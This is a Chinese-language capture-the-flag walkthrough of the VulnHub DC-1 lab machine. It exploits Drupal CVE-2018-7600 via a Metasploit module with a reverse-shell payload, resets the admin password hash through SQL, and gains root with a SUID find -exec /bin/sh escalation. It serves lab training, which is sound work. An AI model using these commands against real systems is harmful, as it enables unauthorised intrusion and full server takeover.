vulnhub靶场,DC-1
环境准备
靶机下载地址:https://www.vulnhub.com/entry/dc-1,292/
攻击机:kali(192.168.58.130)
靶机:DC-1(192.168.58.144)
下载好靶机之后直接使用VMware Workstation Pro虚拟机导入环境,启动即可,将网段设置为NAT模式
信息收集
使用netdiscover或者arp-scan -l扫描机器网卡上的所有ip
确定靶机目标为192.168.58.144
使用nmap扫描目标靶机端口开放情况
开放端口:22、80、111、57766
访问80端口web网站
发现也没有什么可以利用的漏洞,只看到网站的CMS为Drupal
网站目录扫描
发现也没有什么有用的信息
知道了此网站的CMS,在网站上搜看看是否有漏洞利用
发现存在一个远程代码执行漏洞(CVE-2018-7600)漏洞
渗透过程
前面信息收集发现此CMS存在一个远程代码执行漏洞,直接去kali的msf模块去搜索对应的exp
选择攻击模块
use exploit/unix/webapp/drupal_drupalgeddon2
设置payload
set payload php/meterpreter/reverse_tcp
设置攻击目标及本地监听
set rhosts 192.168.58.144
set lhost 192.168.58.130
成功获得一个meterpreter,使用kali去反弹一个交互式的shell
查看当前目录,成功获得第一个flag
查看CMS配置文件,成功获得第二个flag
发现还有数据库的一些账号密码信息,登入到数据库看看
查看里面的信息,发现一张users表
查看users表里的信息
发现账号admin,密码并不是MD5加密,而是一个非常奇怪的加密方式,网上查找资料可知,Drupal 7已不再采用Drupal 6和5简单的MD5加密,而是采用一种新型的Hash加密方法。新型加密方法是“加了盐(Salt)”的MD5码,简单理解就是并不会直接将password进行MD5加密,而会和用户名或其它随机字符串组合在一起后再MD5加密。而drupal 7的加密脚本位置在网站根目录下的scripts下,使用加密脚本加密新密码icepeak,生成加密密文。
进入数据库更新账户admin的密码
update users set pass="$S$DeLiEoui9vXeQFn1CO.p/jYPmuShuhERFEqE54fde8YyeemKUfa/" where uid = 1;
尝试使用admin:icepeak登入前面访问过的web网页
成功进入网站,点击content成功查找到第三个flag
权限提升
flag3的翻译结果为
关键字:密码、-exec,想到查看密码文件和suid提权
查看密码文件/etc/passwd
发现flag4竟然是一个用户,怀疑第四个flag就在其根目录下,试着去查看其根目录
成功获得第四个flag,查看其翻译结果
所以这里还需要提升到root权限去拿到最后一个flag,直接进入root目录试试
显然权限是不够的,这里需要使用suid提权
查找设置了SUID的文件
find / -perm -u=s -type f 2>/dev/null
参数解释:
/ :查找路径为根目录
-perm -u=s : 要查找的文件权限设置了SUID
-type f:要查找的东西类型为文件
2>/dev/null :将报错信息全部丢弃
这里发现设置了SUID的有/usr/bin/find,所以可以尝试使用/usr/bin/find命令进行提权
查看/usr/bin/find的权限
发现此文件的拥有者为root,所以可以用来提权为root
find flagflag -exec whoami \;
参数解释:
flagflag是当前目录下存在的文件,如不存在可以先创建一个,也可以find其他文件夹的文件,但find的文件必须存在,否则命令无法执行。
可以看到权限已经为root了
find flagflag -exec '/bin/sh' \;
直接获得了一个最高权限的命令行
进入root目录查找最后一个flag
至此,所有flag查找完毕,DC-1靶机渗透到此结束